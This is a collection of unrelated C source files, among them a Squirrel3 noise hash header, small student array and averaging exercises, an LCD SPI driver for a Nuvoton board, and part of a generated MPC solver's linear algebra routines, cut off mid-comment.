//Based on https://github.com/sublee/squirrel3-python/blob/master/squirrel3.py #ifndef _SQUIRREL3_H_ #define _SQUIRREL3_H_ struct Squirrel3Random { static int generate(const int value, const int seed = 0) { /*Returns an unsigned integer containing 32 reasonably-well-scrambled bits, based on a given (signed) integer input parameter `n` and optional `seed`. Kind of like looking up a value in an infinitely large non-existent table of previously generated random numbers. */ int n = value; n *= NOISE1; n += seed; n ^= n >> 8; n += NOISE2; n ^= n << 8; n *= NOISE3; n ^= n >> 8; // Cast into uint32 like the original `Squirrel3`. return n % CAP; } static int generate(const int x, const int y, const int seed) { const int part1 = generate(x, seed); return generate(part1 + y, seed); } // The base bit-noise constants were crafted to have distinctive and interesting // bits, and have so far produced excellent experimental test results. static constexpr auto NOISE1 = 0xb5297a4d; // 0b0110'1000'1110'0011'0001'1101'1010'0100 static constexpr auto NOISE2 = 0x68e31da4; // 0b1011'0101'0010'1001'0111'1010'0100'1101 static constexpr auto NOISE3 = 0x1b56c4e9; // 0b0001'1011'0101'0110'1100'0100'1110'1001 static constexpr auto CAP = 1 << 32; }; #endif //_SQUIRREL3_H_
C
/* Выделить под массив динамически память. Обращаться к элементам массива необходимо используя указатель. 1. В одномерном массиве, состоящем из n вещественных элементов, вычислить: - сумму отрицательных элементов массива; - произведение элементов массива, расположенных между максимальным и минимальным элементами */ #include <stdio.h> #include <stdlib.h> // Вычисляет сумму отрицательных элементов массива int negativeSum(int *array, int size) { int *numbers; int sum; sum = 0; numbers = (int *)malloc(size * sizeof(int)); for (int i = 0; i < size; i++) { numbers[i] = array[i]; } for (int j = 0; j < size; j++) { if (numbers[j] < 0) sum = sum + numbers[j]; } return (sum); } // Вычисляет произведение элементов массива, расположенных между максимальным и минимальным элементами int multiplicationMinMax(int *array, int size) { int *numbers; int multi; int min; int max; min = 0; max = 0; numbers = (int *)malloc(size * sizeof(int)); for (int i = 0; i < size; i++) { numbers[i] = array[i]; } for (int j = 0; j < size; j++) { if (numbers[j] < min) min = numbers[j]; if (numbers[j] > max) max = numbers[j]; } multi = min * max; return (multi); } void main(void) { int array[5] = {11, -12, 15, -55, 113}; int negatSum; int multiMaxMin; negatSum = negativeSum(array, 5); multiMaxMin = multiplicationMinMax(array, 5); printf("Сумма отрицательных элементов = %d\n", negatSum); printf("Произведение между макс. и мин. элементом = %d\n", multiMaxMin); }
C
/* 1. Você foi contratado por uma empresa de contabilidade e a sua primeira tarefa é fazer um programa que resolva a seguinte situação. Suponha que os brasileiros consomem arroz por região, queremos saber a media ponderada de consumo de arroz por região no Brasil, na região norte eles consomem 100 kilos de arroz, na região sul são 186 kilos, no Nordeste são 89 kilos, Centroeste 146 kilos com base nos dados calcule a média por região uma vez que temos os seguintes pesos: Norte 03, sul 05, Nordeste 07 e centroeste. 09. */ #include <stdio.h> int main() { int norte=100,sul=186, nordeste=89,centroeste=146; float m_norte,m_sul,m_nordeste,m_centroeste,media; m_norte=norte*03; m_sul=sul*05; m_nordeste=nordeste*07; m_centroeste=centroeste*9; media=(m_centroeste+m_nordeste+m_norte+m_sul)/(3+5+7+9); //Calcular a media printf("\nA media das regioes e: %.2f\n\n",media); }
C
#include "smooth_line.h" void smooth_line_init(smooth_line *p, int initialValue) { int i; for (i = 0; i < SMOOTH_LINE_SMOOTHNESS; i++) { p->members[i] = initialValue; } } int smooth_line_put(smooth_line *p, int value) { int i; for (i = 0; i < SMOOTH_LINE_SMOOTHNESS - 1; i++) { p->members[i] = p->members[i + 1]; } p->members[SMOOTH_LINE_SMOOTHNESS - 1] = value; return smooth_line_get_value(p); } int smooth_line_get_value(smooth_line *p) { int i, sum = 0; for (i = 0; i < SMOOTH_LINE_SMOOTHNESS; i++) { sum += p->members[i]; } return sum / SMOOTH_LINE_SMOOTHNESS; }
C
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct winsize {int ws_col; } ; /* Variables and functions */ int /*<<< orphan*/ DOWN ; int /*<<< orphan*/ LEFT ; int /*<<< orphan*/ TIOCGWINSZ ; int /*<<< orphan*/ UP ; int /*<<< orphan*/ fflush (int /*<<< orphan*/ ) ; int /*<<< orphan*/ fprintf (int /*<<< orphan*/ ,char*) ; int /*<<< orphan*/ ioctl (int /*<<< orphan*/ ,int /*<<< orphan*/ ,struct winsize*) ; int /*<<< orphan*/ positionCursor (int,int /*<<< orphan*/ ) ; int /*<<< orphan*/ stdout ; void clearScreen(int ecmd_pos, int cursor_pos) { struct winsize w; ioctl(0, TIOCGWINSZ, &w); int cursor_x = cursor_pos / w.ws_col; int cursor_y = cursor_pos % w.ws_col; int command_x = ecmd_pos / w.ws_col; positionCursor(cursor_y, LEFT); positionCursor(command_x - cursor_x, DOWN); fprintf(stdout, "\033[2K"); for (int i = 0; i < command_x; i++) { positionCursor(1, UP); fprintf(stdout, "\033[2K"); } fflush(stdout); }
C
#include "stdio.h" #include "string.h" #include "NUC1xx.h" #include "SYS.h" #include "SPI.h" #include "GPIO.h" #include "LCD.h" #include "Font5x7.h" #include "Font8x16.h" extern SPI_T * SPI_PORT[4]={SPI0, SPI1, SPI2, SPI3}; char DisplayBuffer[128*8]; void init_SPI3(void) { DrvGPIO_InitFunction(E_FUNC_SPI3); /* Configure SPI3 as a master, Type1 waveform, 32-bit transaction */ DrvSPI_Open(eDRVSPI_PORT3, eDRVSPI_MASTER, eDRVSPI_TYPE1, 9); /* MSB first */ DrvSPI_SetEndian(eDRVSPI_PORT3, eDRVSPI_MSB_FIRST); /* Disable the automatic slave select function of SS0. */ DrvSPI_DisableAutoSS(eDRVSPI_PORT3); /* Set the active level of slave select. */ DrvSPI_SetSlaveSelectActiveLevel(eDRVSPI_PORT3, eDRVSPI_ACTIVE_LOW_FALLING); /* SPI clock rate 1MHz */ DrvSPI_SetClockFreq(eDRVSPI_PORT3, 25000000, 0); } void lcdWriteCommand(unsigned char temp) { // Write Data SPI_PORT[eDRVSPI_PORT3]->SSR.SSR=1; //chip select SPI_PORT[eDRVSPI_PORT3]->TX[0]=temp; //write command SPI_PORT[eDRVSPI_PORT3]->CNTRL.GO_BUSY = 1; while ( SPI_PORT[eDRVSPI_PORT3]->CNTRL.GO_BUSY == 1 ); //check data out? SPI_PORT[eDRVSPI_PORT3]->SSR.SSR=0; while(DrvSPI_IsBusy(eDRVSPI_PORT3) != 0); } // Wrtie data to LCD void lcdWriteData(unsigned char temp) { // Write Data SPI_PORT[eDRVSPI_PORT3]->SSR.SSR=1; //chip select SPI_PORT[eDRVSPI_PORT3]->TX[0] =0x100 | temp; //write data SPI_PORT[eDRVSPI_PORT3]->CNTRL.GO_BUSY = 1; while ( SPI_PORT[eDRVSPI_PORT3]->CNTRL.GO_BUSY == 1 ); //check data out? SPI_PORT[eDRVSPI_PORT3]->SSR.SSR=0; } // Set Address to LCD void lcdSetAddr(unsigned char PA, unsigned char CA) { // Set PA SPI_PORT[eDRVSPI_PORT3]->SSR.SSR=1; SPI_PORT[eDRVSPI_PORT3]->TX[0] = 0xB0 | PA; SPI_PORT[eDRVSPI_PORT3]->CNTRL.GO_BUSY = 1; while ( SPI_PORT[eDRVSPI_PORT3]->CNTRL.GO_BUSY == 1 ); //check data out? // Set CA MSB SPI_PORT[eDRVSPI_PORT3]->SSR.SSR=0; SPI_PORT[eDRVSPI_PORT3]->SSR.SSR=1; SPI_PORT[eDRVSPI_PORT3]->TX[0] =0x10 |(CA>>4)&0xF; SPI_PORT[eDRVSPI_PORT3]->CNTRL.GO_BUSY = 1; while ( SPI_PORT[eDRVSPI_PORT3]->CNTRL.GO_BUSY == 1 ); //check data out? // Set CA LSB SPI_PORT[eDRVSPI_PORT3]->SSR.SSR=0; SPI_PORT[eDRVSPI_PORT3]->SSR.SSR=1; SPI_PORT[eDRVSPI_PORT3]->TX[0] =0x00 | (CA & 0xF); SPI_PORT[eDRVSPI_PORT3]->CNTRL.GO_BUSY = 1; while ( SPI_PORT[eDRVSPI_PORT3]->CNTRL.GO_BUSY == 1 ); //check data out? SPI_PORT[eDRVSPI_PORT3]->SSR.SSR=0; } void init_LCD(void) { init_SPI3(); lcdWriteCommand(0xEB); lcdWriteCommand(0x81); lcdWriteCommand(0xA0); lcdWriteCommand(0xC0); lcdWriteCommand(0xAF); // Set Display Enable } void clear_LCD(void) { int16_t i,j; for (j=0;j<LCD_Ymax;j++) for (i=0;i<LCD_Xmax;i++) DisplayBuffer[i+j/8*LCD_Xmax]=0; lcdSetAddr(0x0, 0x0); for (i = 0; i < 132 *8; i++) { lcdWriteData(0x00); } lcdWriteData(0x0f); } void printC(int16_t x, int16_t y, unsigned char ascii_code) { int8_t i; unsigned char temp; for(i=0;i<8;i++) { lcdSetAddr((y/8),(LCD_Xmax+1-x-i)); temp=Font8x16[(ascii_code-0x20)*16+i]; lcdWriteData(temp); } for(i=0;i<8;i++) { lcdSetAddr((y/8)+1,(LCD_Xmax+1-x-i)); temp=Font8x16[(ascii_code-0x20)*16+i+8]; lcdWriteData(temp); } } // print char function using Font5x7 void printC_5x7 (int16_t x, int16_t y, unsigned char ascii_code) { uint8_t i; if (x<(LCD_Xmax-5) && y<(LCD_Ymax-7)) { if (ascii_code<0x20) ascii_code=0x20; else if (ascii_code>0x7F) ascii_code=0x20; else ascii_code=ascii_code-0x20; for (i=0;i<5;i++) { lcdSetAddr((y/8),(LCD_Xmax+1-x-i)); lcdWriteData(Font5x7[ascii_code*5+i]); } } } void print_Line(int8_t line, char text[]) { int8_t i; for (i=0;i<strlen(text);i++) printC(i*8,line*16,text[i]); } void printS(int16_t x, int16_t y, char text[]) { int8_t i; for (i=0;i<strlen(text);i++) printC(x+i*8, y,text[i]); } void printS_5x7(int16_t x, int16_t y, char text[]) { uint8_t i; for (i=0;i<strlen(text);i++) { printC_5x7(x,y,text[i]); x=x+5; } } void draw_Bmp8x8(int16_t x, int16_t y, uint16_t fgColor, uint16_t bgColor, unsigned char bitmap[]) { uint8_t t,i,k, kx,ky; if (x<(LCD_Xmax-7) && y<(LCD_Ymax-7)) // boundary check for (i=0;i<8;i++){ kx=x+i; t=bitmap[i]; for (k=0;k<8;k++) { ky=y+k; if (t&(0x01<<k)) draw_Pixel(kx,ky,fgColor,bgColor); } //lcdSetAddr(y/8,(LCD_Xmax+1-x)); //lcdWriteData(bitmap[i]); } } void draw_Bmp32x8(int16_t x, int16_t y, uint16_t fgColor, uint16_t bgColor, unsigned char bitmap[]) { uint8_t t,i,k, kx,ky; if (x<(LCD_Xmax-7) && y<(LCD_Ymax-7)) // boundary check for (i=0;i<32;i++){ kx=x+i; t=bitmap[i]; for (k=0;k<8;k++) { ky=y+k; if (t&(0x01<<k)) draw_Pixel(kx,ky,fgColor,bgColor); } //lcdSetAddr(y/8,(LCD_Xmax+1-x)); //lcdWriteData(bitmap[i]); } } void draw_Bmp120x8(int16_t x, int16_t y, uint16_t fgColor, uint16_t bgColor, unsigned char bitmap[]) { uint8_t t,i,k, kx,ky; if (x<(LCD_Xmax-7) && y<(LCD_Ymax-7)) // boundary check for (i=0;i<120;i++){ kx=x+i; t=bitmap[i]; for (k=0;k<8;k++) { ky=y+k; if (t&(0x01<<k)) draw_Pixel(kx,ky,fgColor,bgColor); } //lcdSetAddr(y/8,(LCD_Xmax+1-x)); //lcdWriteData(bitmap[i]); } } void draw_Bmp8x16(int16_t x, int16_t y, uint16_t fgColor, uint16_t bgColor, unsigned char bitmap[]) { uint8_t t,i,k, kx,ky; if (x<(LCD_Xmax-7) && y<(LCD_Ymax-7)) // boundary check for (i=0;i<8;i++){ kx=x+i; t=bitmap[i]; for (k=0;k<8;k++) { ky=y+k; if (t&(0x01<<k)) draw_Pixel(kx,ky,fgColor,bgColor); } t=bitmap[i+8]; for (k=0;k<8;k++) { ky=y+k+8; if (t&(0x01<<k)) draw_Pixel(kx,ky,fgColor,bgColor); } //lcdSetAddr(y/8,(LCD_Xmax+1-x)); //lcdWriteData(bitmap[i]); } } void draw_Bmp16x8(int16_t x, int16_t y, uint16_t fgColor, uint16_t bgColor, unsigned char bitmap[]) { uint8_t t,i,k,kx,ky; if (x<(LCD_Xmax-15) && y<(LCD_Ymax-7)) // boundary check for (i=0;i<16;i++) { kx=x+i; t=bitmap[i]; for (k=0;k<8;k++) { ky=y+k; if (t&(0x01<<k)) draw_Pixel(kx,ky,fgColor,bgColor); } //lcdSetAddr(y/8,(LCD_Xmax+1-x)); //lcdWriteData(bitmap[i]); //x=x++; } } void draw_Bmp16x16(int16_t x, int16_t y, uint16_t fgColor, uint16_t bgColor, unsigned char bitmap[]) { uint8_t t,i,j,k, kx,ky; if (x<(LCD_Xmax-15) && y<(LCD_Ymax-15)) // boundary check for (j=0;j<2; j++){ for (i=0;i<16;i++) { kx=x+i; t=bitmap[i+j*16]; for (k=0;k<8;k++) { ky=y+j*8+k; if (t&(0x01<<k)) draw_Pixel(kx,ky,fgColor,bgColor); } //lcdSetAddr(y/8+j,(LCD_Xmax+1-x-i)); //lcdWriteData(bitmap[i+j*16]); } } } void draw_Bmp16x24(int16_t x, int16_t y, uint16_t fgColor, uint16_t bgColor, unsigned char bitmap[]) { uint8_t t,i,j,k, kx,ky; if (x<(LCD_Xmax-15) && y<(LCD_Ymax-15)) // boundary check for (j=0;j<3; j++){ for (i=0;i<16;i++) { kx=x+i; t=bitmap[i+j*16]; for (k=0;k<8;k++) { ky=y+j*8+k; if (t&(0x01<<k)) draw_Pixel(kx,ky,fgColor,bgColor); } //lcdSetAddr(y/8+j,(LCD_Xmax+1-x-i)); //lcdWriteData(bitmap[i+j*16]); } } } void draw_Bmp16x32(int16_t x, int16_t y, uint16_t fgColor, uint16_t bgColor, unsigned char bitmap[]) { uint8_t t, i,j,k, kx,ky; if (x<(LCD_Xmax-15) && y<(LCD_Ymax-31)) // boundary check for (j=0;j<4; j++) { for (i=0;i<16;i++) { kx=x+i; t=bitmap[i+j*16]; for (k=0;k<8;k++) { ky=y+j*8+k; if (t&(0x01<<k)) draw_Pixel(kx,ky,fgColor,bgColor); } //lcdSetAddr(y/8+j,(LCD_Xmax+1-x)); //lcdWriteData(bitmap[i+j*16]); //x=x++; } } } void draw_Bmp16x40(int16_t x, int16_t y, uint16_t fgColor, uint16_t bgColor, unsigned char bitmap[]) { uint8_t t, i,j,k, kx,ky; if (x<(LCD_Xmax-15) && y<(LCD_Ymax-31)) // boundary check for (j=0;j<5; j++) { for (i=0;i<16;i++) { kx=x+i; t=bitmap[i+j*16]; for (k=0;k<8;k++) { ky=y+j*8+k; if (t&(0x01<<k)) draw_Pixel(kx,ky,fgColor,bgColor); } //lcdSetAddr(y/8+j,(LCD_Xmax+1-x)); //lcdWriteData(bitmap[i+j*16]); //x=x++; } } } void draw_Bmp16x48(int16_t x, int16_t y, uint16_t fgColor, uint16_t bgColor, unsigned char bitmap[]) { uint8_t t,i,j,k,kx,ky; if (x<(LCD_Xmax-15) && y<(LCD_Ymax-47)) // boundary check for (j=0;j<6; j++) { k=x; for (i=0;i<16;i++) { kx=x+i; t=bitmap[i+j*16]; for (k=0;k<8;k++) { ky=y+j*8+k; if (t&(0x01<<k)) draw_Pixel(kx,ky,fgColor,bgColor); } //lcdSetAddr(y/8+j,(LCD_Xmax+1-k)); //lcdWriteData(bitmap[i+j*16]); //k=k++; } } } void draw_Bmp16x64(int16_t x, int16_t y, uint16_t fgColor, uint16_t bgColor, unsigned char bitmap[]) { uint8_t t,i,j,k,kx,ky; if (x<(LCD_Xmax-15) && y==0) // boundary check for (j=0;j<8; j++) { k=x; for (i=0;i<16;i++) { kx=x+i; t=bitmap[i+j*16]; for (k=0;k<8;k++) { ky=y+j*8+k; if (t&(0x01<<k)) draw_Pixel(kx,ky,fgColor,bgColor); } //lcdSetAddr(y/8+j,(LCD_Xmax+1-k)); //lcdWriteData(bitmap[i+j*16]); //k=k++; } } } void draw_Bmp32x16(int16_t x, int16_t y, uint16_t fgColor, uint16_t bgColor, unsigned char bitmap[]) { uint8_t t,i,jx,jy,k,kx,ky; if (x<(LCD_Xmax-31) && y<(LCD_Ymax-15)) // boundary check for (jy=0;jy<2;jy++) for (jx=0;jx<2;jx++) { k=x; for (i=0;i<16;i++) { kx=x+jx*16+i; t=bitmap[i+jx*16+jy*32]; for (k=0;k<8;k++) { ky=y+jy*8+k; if (t&(0x01<<k)) draw_Pixel(kx,ky,fgColor,bgColor); } //lcdSetAddr(y/8+jy,(LCD_Xmax+1-k)-jx*16); //lcdWriteData(bitmap[i+jx*16+jy*32]); //k=k++; } } } void draw_Bmp32x32(int16_t x, int16_t y, uint16_t fgColor, uint16_t bgColor, unsigned char bitmap[]) { uint8_t t,i,jx,jy,k, kx,ky; if (x<(LCD_Xmax-31) && y<(LCD_Ymax-31)) // boundary check for (jy=0;jy<4;jy++) for (jx=0;jx<2;jx++) { k=x; for (i=0;i<16;i++) { kx=x+jx*16+i; t=bitmap[i+jx*16+jy*32]; for (k=0;k<8;k++) { ky=y+jy*8+k; if (t&(0x01<<k)) draw_Pixel(kx,ky,fgColor,bgColor); } //lcdSetAddr(y/8+jy,(LCD_Xmax+1-k)-jx*16); //lcdWriteData(bitmap[i+jx*16+jy*32]); //k=k++; } } } void draw_Bmp32x48(int16_t x, int16_t y, uint16_t fgColor, uint16_t bgColor, unsigned char bitmap[]) { uint8_t t,i,jx,jy,k, kx,ky; if (x<(LCD_Xmax-31) && y<(LCD_Ymax-47)) // boundary check for (jy=0;jy<6;jy++) for (jx=0;jx<2;jx++) { k=x; for (i=0;i<16;i++) { kx=x+jx*16+i; t=bitmap[i+jx*16+jy*32]; for (k=0;k<8;k++) { ky=y+jy*8+k; if (t&(0x01<<k)) draw_Pixel(kx,ky,fgColor,bgColor); } //lcdSetAddr(y/8+jy,(LCD_Xmax+1-k)-jx*16); //lcdWriteData(bitmap[i+jx*16+jy*32]); //k=k++; } } } void draw_Bmp32x64(int16_t x, int16_t y, uint16_t fgColor, uint16_t bgColor, unsigned char bitmap[]) { uint8_t t,i,jx,jy,k, kx,ky; if (x<(LCD_Xmax-31) && y==0) // boundary check for (jy=0;jy<8;jy++) for (jx=0;jx<2;jx++) { k=x; for (i=0;i<16;i++) { kx=x+jx*16+i; t=bitmap[i+jx*16+jy*32]; for (k=0;k<8;k++) { ky=y+jy*8+k; if (t&(0x01<<k)) draw_Pixel(kx,ky,fgColor,bgColor); } //lcdSetAddr(y/8+jy,(LCD_Xmax+1-k)-jx*16); //lcdWriteData(bitmap[i+jx*16+jy*32]); //k=k++; } } } void draw_Bmp64x64(int16_t x, int16_t y, uint16_t fgColor, uint16_t bgColor, unsigned char bitmap[]) { uint8_t t, i,jx,jy,k, kx,ky; if (x<(LCD_Xmax-63) && y==0) // boundary check for (jy=0;jy<8;jy++) for (jx=0;jx<4;jx++) { k=x; for (i=0;i<16;i++) { kx=x+jx*16+i; t=bitmap[i+jx*16+jy*64]; for (k=0;k<8;k++) { ky=y+jy*8+k; if (t&(0x01<<k)) draw_Pixel(kx,ky,fgColor,bgColor); } //lcdSetAddr(y/8+jy,(LCD_Xmax+1-k)-jx*16); //lcdWriteData(bitmap[i+jx*16+jy*64]); //k=k++; } } } void draw_Pixel(int16_t x, int16_t y, uint16_t fgColor, uint16_t bgColor) { if (fgColor!=0) DisplayBuffer[x+y/8*LCD_Xmax] |= (0x01<<(y%8)); else DisplayBuffer[x+y/8*LCD_Xmax] &= (0xFE<<(y%8)); lcdSetAddr(y/8,(LCD_Xmax+1-x)); lcdWriteData(DisplayBuffer[x+y/8*LCD_Xmax]); } void draw_LCD(unsigned char *buffer) { uint8_t x,y; for (x=0; x<LCD_Xmax; x++) { for (y=0; y<(LCD_Ymax/8); y++) { lcdSetAddr(y,(LCD_Xmax+1-x)); lcdWriteData(buffer[x+y*LCD_Xmax]); } } }
C
/* FORCES - Fast interior point code generation for multistage problems. Copyright (C) 2011-14 Alexander Domahidi [[email protected]], Automatic Control Laboratory, ETH Zurich. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include "controlMPC.h" /* for square root */ #include <math.h> /* SAFE DIVISION ------------------------------------------------------- */ #define MAX(X,Y) ((X) < (Y) ? (Y) : (X)) #define MIN(X,Y) ((X) < (Y) ? (X) : (Y)) /*#define SAFEDIV_POS(X,Y) ( (Y) < EPS ? ((X)/EPS) : (X)/(Y) ) #define EPS (1.0000E-013) */ #define BIGM (1E30) #define BIGMM (1E60) /* includes for parallel computation if necessary */ /* SYSTEM INCLUDES FOR PRINTING ---------------------------------------- */ /* LINEAR ALGEBRA LIBRARY ---------------------------------------------- */ /* * Initializes a vector of length 48 with a value. */ void controlMPC_LA_INITIALIZEVECTOR_48(controlMPC_FLOAT* vec, controlMPC_FLOAT value) { int i; for( i=0; i<48; i++ ) { vec[i] = value; } } /* * Initializes a vector of length 46 with a value. */ void controlMPC_LA_INITIALIZEVECTOR_46(controlMPC_FLOAT* vec, controlMPC_FLOAT value) { int i; for( i=0; i<46; i++ ) { vec[i] = value; } } /* * Initializes a vector of length 96 with a value. */ void controlMPC_LA_INITIALIZEVECTOR_96(controlMPC_FLOAT* vec, controlMPC_FLOAT value) { int i; for( i=0; i<96; i++ ) { vec[i] = value; } } /* * Calculates a dot product and adds it to a variable: z += x'*y; * This function is for vectors of length 96. */ void controlMPC_LA_DOTACC_96(controlMPC_FLOAT *x, controlMPC_FLOAT *y, controlMPC_FLOAT *z) { int i; for( i=0; i<96; i++ ){ *z += x[i]*y[i]; } } /* * Calculates the gradient and the value for a quadratic function 0.5*z'*H*z + f'*z * * INPUTS: H - Symmetric Hessian, diag matrix of size [2 x 2] * f - column vector of size 2 * z - column vector of size 2 * * OUTPUTS: grad - gradient at z (= H*z + f), column vector of size 2 * value <-- value + 0.5*z'*H*z + f'*z (value will be modified) */ void controlMPC_LA_DIAG_QUADFCN_2(controlMPC_FLOAT* H, controlMPC_FLOAT* f, controlMPC_FLOAT* z, controlMPC_FLOAT* grad, controlMPC_FLOAT* value) { int i; controlMPC_FLOAT hz; for( i=0; i<2; i++){ hz = H[i]*z[i]; grad[i] = hz + f[i]; *value += 0.5*hz*z[i] + f[i]*z[i]; } } /* * Computes r = A*x + B*u - b * and y = max([norm(r,inf), y]) * and z -= l'*r * where A is stored in column major format */ void controlMPC_LA_DENSE_DIAGZERO_MVMSUB3_2_2_2(controlMPC_FLOAT *A, controlMPC_FLOAT *x, controlMPC_FLOAT *B, controlMPC_FLOAT *u, controlMPC_FLOAT *b, controlMPC_FLOAT *l, controlMPC_FLOAT *r, controlMPC_FLOAT *z, controlMPC_FLOAT *y) { int i; int j; int k = 0; controlMPC_FLOAT AxBu[2]; controlMPC_FLOAT norm = *y; controlMPC_FLOAT lr = 0; /* do A*x + B*u first */ for( i=0; i<2; i++ ){ AxBu[i] = A[k++]*x[0] + B[i]*u[i]; } for( j=1; j<2; j++ ){ for( i=0; i<2; i++ ){ AxBu[i] += A[k++]*x[j]; } } for( i=0; i<2; i++ ){ r[i] = AxBu[i] - b[i]; lr += l[i]*r[i]; if( r[i] > norm ){ norm = r[i]; } if( -r[i] > norm ){ norm = -r[i]; } } *y = norm; *z -= lr; } /* * Matrix vector multiplication y = M'*x where M is of size [2 x 2] * and stored in column major format. Note the transpose of M! */ void controlMPC_LA_DENSE_MTVM_2_2(controlMPC_FLOAT *M, controlMPC_FLOAT *x, controlMPC_FLOAT *y) { int i; int j; int k = 0; for( i=0; i<2; i++ ){ y[i] = 0; for( j=0; j<2; j++ ){ y[i] += M[k++]*x[j]; } } } /* * Matrix vector multiplication z = A'*x + B'*y * where A is of size [2 x 2] and stored in column major format. * and B is of size [2 x 2] and stored in diagzero format * Note the transposes of A and B! */ void controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_FLOAT *A, controlMPC_FLOAT *x, controlMPC_FLOAT *B, controlMPC_FLOAT *y, controlMPC_FLOAT *z) { int i; int j; int k = 0; for( i=0; i<2; i++ ){ z[i] = 0; for( j=0; j<2; j++ ){ z[i] += A[k++]*x[j]; } z[i] += B[i]*y[i]; } for( i=2 ;i<2; i++ ){ z[i] = 0; for( j=0; j<2; j++ ){ z[i] += A[k++]*x[j]; } } } /* * Matrix vector multiplication y = M'*x where M is of size [2 x 2] * and stored in diagzero format. Note the transpose of M! */ void controlMPC_LA_DIAGZERO_MTVM_2_2(controlMPC_FLOAT *M, controlMPC_FLOAT *x, controlMPC_FLOAT *y) { int i; for( i=0; i<2; i++ ){ y[i] = M[i]*x[i]; } } /* * Vector subtraction and addition. * Input: five vectors t, tidx, u, v, w and two scalars z and r * Output: y = t(tidx) - u + w * z = z - v'*x; * r = max([norm(y,inf), z]); * for vectors of length 2. Output z is of course scalar. */ void controlMPC_LA_VSUBADD3_2(controlMPC_FLOAT* t, controlMPC_FLOAT* u, int* uidx, controlMPC_FLOAT* v, controlMPC_FLOAT* w, controlMPC_FLOAT* y, controlMPC_FLOAT* z, controlMPC_FLOAT* r) { int i; controlMPC_FLOAT norm = *r; controlMPC_FLOAT vx = 0; controlMPC_FLOAT x; for( i=0; i<2; i++){ x = t[i] - u[uidx[i]]; y[i] = x + w[i]; vx += v[i]*x; if( y[i] > norm ){ norm = y[i]; } if( -y[i] > norm ){ norm = -y[i]; } } *z -= vx; *r = norm; } /* * Vector subtraction and addition. * Input: five vectors t, tidx, u, v, w and two scalars z and r * Output: y = t(tidx) - u + w * z = z - v'*x; * r = max([norm(y,inf), z]); * for vectors of length 2. Output z is of course scalar. */ void controlMPC_LA_VSUBADD2_2(controlMPC_FLOAT* t, int* tidx, controlMPC_FLOAT* u, controlMPC_FLOAT* v, controlMPC_FLOAT* w, controlMPC_FLOAT* y, controlMPC_FLOAT* z, controlMPC_FLOAT* r) { int i; controlMPC_FLOAT norm = *r; controlMPC_FLOAT vx = 0; controlMPC_FLOAT x; for( i=0; i<2; i++){ x = t[tidx[i]] - u[i]; y[i] = x + w[i]; vx += v[i]*x; if( y[i] > norm ){ norm = y[i]; } if( -y[i] > norm ){ norm = -y[i]; } } *z -= vx; *r = norm; } /* * Computes inequality constraints gradient- * Special function for box constraints of length 2 * Returns also L/S, a value that is often used elsewhere. */ void controlMPC_LA_INEQ_B_GRAD_2_2_2(controlMPC_FLOAT *lu, controlMPC_FLOAT *su, controlMPC_FLOAT *ru, controlMPC_FLOAT *ll, controlMPC_FLOAT *sl, controlMPC_FLOAT *rl, int* lbIdx, int* ubIdx, controlMPC_FLOAT *grad, controlMPC_FLOAT *lubysu, controlMPC_FLOAT *llbysl) { int i; for( i=0; i<2; i++ ){ grad[i] = 0; } for( i=0; i<2; i++ ){ llbysl[i] = ll[i] / sl[i]; grad[lbIdx[i]] -= llbysl[i]*rl[i]; } for( i=0; i<2; i++ ){ lubysu[i] = lu[i] / su[i]; grad[ubIdx[i]] += lubysu[i]*ru[i]; } } /* * Addition of three vectors z = u + w + v * of length 48. */ void controlMPC_LA_VVADD3_48(controlMPC_FLOAT *u, controlMPC_FLOAT *v, controlMPC_FLOAT *w, controlMPC_FLOAT *z) { int i; for( i=0; i<48; i++ ){ z[i] = u[i] + v[i] + w[i]; } } /* * Special function to compute the diagonal cholesky factorization of the * positive definite augmented Hessian for block size 2. * * Inputs: - H = diagonal cost Hessian in diagonal storage format * - llbysl = L / S of lower bounds * - lubysu = L / S of upper bounds * * Output: Phi = sqrt(H + diag(llbysl) + diag(lubysu)) * where Phi is stored in diagonal storage format */ void controlMPC_LA_DIAG_CHOL_ONELOOP_LBUB_2_2_2(controlMPC_FLOAT *H, controlMPC_FLOAT *llbysl, int* lbIdx, controlMPC_FLOAT *lubysu, int* ubIdx, controlMPC_FLOAT *Phi) { int i; /* compute cholesky */ for( i=0; i<2; i++ ){ Phi[i] = H[i] + llbysl[i] + lubysu[i]; #if controlMPC_SET_PRINTLEVEL > 0 && defined PRINTNUMERICALWARNINGS if( Phi[i] < 1.0000000000000000E-013 ) { PRINTTEXT("WARNING: small pivot in Cholesky fact. (=%3.1e < eps=%3.1e), regularizing to %3.1e\n",Phi[i],1.0000000000000000E-013,4.0000000000000002E-004); Phi[i] = 2.0000000000000000E-002; } else { Phi[i] = sqrt(Phi[i]); } #else Phi[i] = Phi[i] < 1.0000000000000000E-013 ? 2.0000000000000000E-002 : sqrt(Phi[i]); #endif } } /** * Forward substitution for the matrix equation A*L' = B * where A is to be computed and is of size [2 x 2], * B is given and of size [2 x 2], L is a diagonal * matrix of size 2 stored in diagonal matrix * storage format. Note the transpose of L has no impact! * * Result: A in column major storage format. * */ void controlMPC_LA_DIAG_MATRIXFORWARDSUB_2_2(controlMPC_FLOAT *L, controlMPC_FLOAT *B, controlMPC_FLOAT *A) { int i,j; int k = 0; for( j=0; j<2; j++){ for( i=0; i<2; i++){ A[k] = B[k]/L[j]; k++; } } } /** * Forward substitution to solve L*y = b where L is a * diagonal matrix in vector storage format. * * The dimensions involved are 2. */ void controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_FLOAT *L, controlMPC_FLOAT *b, controlMPC_FLOAT *y) { int i; for( i=0; i<2; i++ ){ y[i] = b[i]/L[i]; } } /** * Forward substitution for the matrix equation A*L' = B * where A is to be computed and is of size [2 x 2], * B is given and of size [2 x 2], L is a diagonal * matrix of size 2 stored in diagonal * storage format. Note the transpose of L! * * Result: A in diagonalzero storage format. * 